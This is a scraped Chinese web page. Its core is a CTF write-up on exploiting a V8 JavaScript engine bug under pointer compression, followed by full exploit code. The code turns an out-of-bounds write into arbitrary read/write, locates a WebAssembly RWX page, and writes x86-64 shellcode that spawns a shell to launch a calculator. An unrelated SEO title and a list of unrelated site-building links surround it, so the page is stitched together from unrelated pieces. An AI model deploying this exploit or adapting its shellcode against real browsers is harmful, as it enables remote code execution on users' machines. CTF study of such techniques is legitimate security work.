当前位置: 首页 > news >正文

深圳大眼睛网站建设织梦dedecms女性时尚门户网站模板

深圳大眼睛网站建设,织梦dedecms女性时尚门户网站模板,wordpress 排序插件,企业门户网站做的第一道存在指针压缩机制的V8题#xff0c;通过小越界写修改length构造大越界读写#xff0c;然后利用arraybuffer的backing store构造任意地址写#xff0c;利用wasm rwx段地址的特点以及堆空间的分布#xff0c;搜索到rwx段的具体地址#xff0c;然后利用任意地址写将…做的第一道存在指针压缩机制的V8题通过小越界写修改length构造大越界读写然后利用arraybuffer的backing store构造任意地址写利用wasm rwx段地址的特点以及堆空间的分布搜索到rwx段的具体地址然后利用任意地址写将shellcode写到rwx段上去即可。 var buf new ArrayBuffer(0x8); var dv new DataView(buf); var buf new ArrayBuffer(16); var float64 new Float64Array(buf); var bigUint64 new BigUint64Array(buf); // function f2i(f) {float64[0] f;return bigUint64[0]; } // function i2f(i) {bigUint64[0] i;return float64[0]; } function p64(val) {dv.setUint32(0,val 0xFFFFFFFF,true);dv.setUint32(0x4,val 32,true);var float_val dv.getFloat64(0,true);return float_val; } function p64(low4,high4) {dv.setUint32(0,low4,true);dv.setUint32(0x4,high4,true);var float_val dv.getFloat64(0,true);return float_val; } function u64(val){dv.setFloat64(0,val,true);return dv.getBigInt64(0,true) } function u64_l(val) {dv.setFloat64(0,val,true);return dv.getUint32(0,true); }function u64_h(val) {dv.setFloat64(0,val,true);return dv.getUint32(0x4,true); } function hex(i) {return i.toString(16).padStart(16, 0); } var float_array[]; float_array[0]1.1; float_array.push(1.1,2.2,3.3,4.4,5.5,6.6); var victimnew Array(1.1,2.2); var ar_bfnew ArrayBuffer(0x100); var float_mapu64_l(float_array[17]); console.log([*] float_map is 0xhex(float_map)); var elementsu64_l(float_array[18]); float_array[18]p64(elements,0x10000000);const wasmCode new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]); const shellcode new Uint8Array([0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]);var wasmModule new WebAssembly.Module(wasmCode); var wasmInstance new WebAssembly.Instance(wasmModule); var func wasmInstance.exports.main;var rwx_addr; var rwx_addr_l; var rwx_addr_h; for(let i0x100;i1;i--) { rwx_addrf2i(victim[0x31400i]);if(rwx_addr%0x1000n0nrwx_addr!0nrwx_addr%0x100000000n!0n)break; } console.log([*]rwx_addr is 0xhex(rwx_addr)); rwx_addr_lrwx_addr%0x100000000n; rwx_addr_hrwx_addr32n;victim[4]p64(0,Number(rwx_addr_l)); victim[5]p64(Number(rwx_addr_h),0); victim[6]p64(0,2); var adv new DataView(ar_bf); for (var i0;ishellcode.length;i) {adv.setUint8(i,shellcode[i], true); } //%SystemBreak(); func();
http://www.huolong8.cn/news/5705/

相关文章:

  • 制作自己网站有什么用计算机专业网站开发开题报告
  • 搭建dede网站服务器企业seo多少费用
  • 承接网站建设文案遵义仁怀网站建设
  • 网站备案号图标简述常用的网络营销方法有哪些
  • 坪山城市建设局官方网站太原网站模板
  • 发布文章后马上更新网站主页自己的电脑做服务器建立网站的方法
  • 群晖可以做几个网站it行业公司排名
  • 网站建设盐城建站管理过程
  • 外国的贸易网站定做微信小程序
  • 在什么网站上做自媒体网站检测中心
  • 麦积区建设局网站wordpress分类列表插件
  • 央企网站建设百度做免费推广的步骤
  • 精品资源共享课网站建设无极网页游戏
  • 河南省建设厅网站wordpress建站服务器选择
  • 广元网站建设工作室建个微商城网站多少钱
  • 制作链接的app的软件温州哪里有网站优化
  • 网站开发策略烟台主流网站
  • 推进门户网站建设工作会议做网站主要学什么
  • 网站制作什么品牌好华为虚拟主机
  • 学校网站怎么做的好坏微信小店可以做分类网站
  • 做论坛网站要多少配置的服务器Wordpress+仿站+工具
  • 烟台网站排名系统在网站上做教育直播平台多少钱
  • 简单电子商务网站建设南京建设网站内容
  • 郑州建设工程交易中心网站外贸企业网站改版
  • 国外的素材网站外贸网站怎么做会吸引眼球
  • mysql 收费 网站建设网站留言板的作用
  • 月饼网站建设wordpress英文版 菜单
  • o2o的网站有哪些成都网站建设服务
  • 做粘土网站棋牌游戏在哪做网站
  • 松岗网站设计青海西宁制作网站企业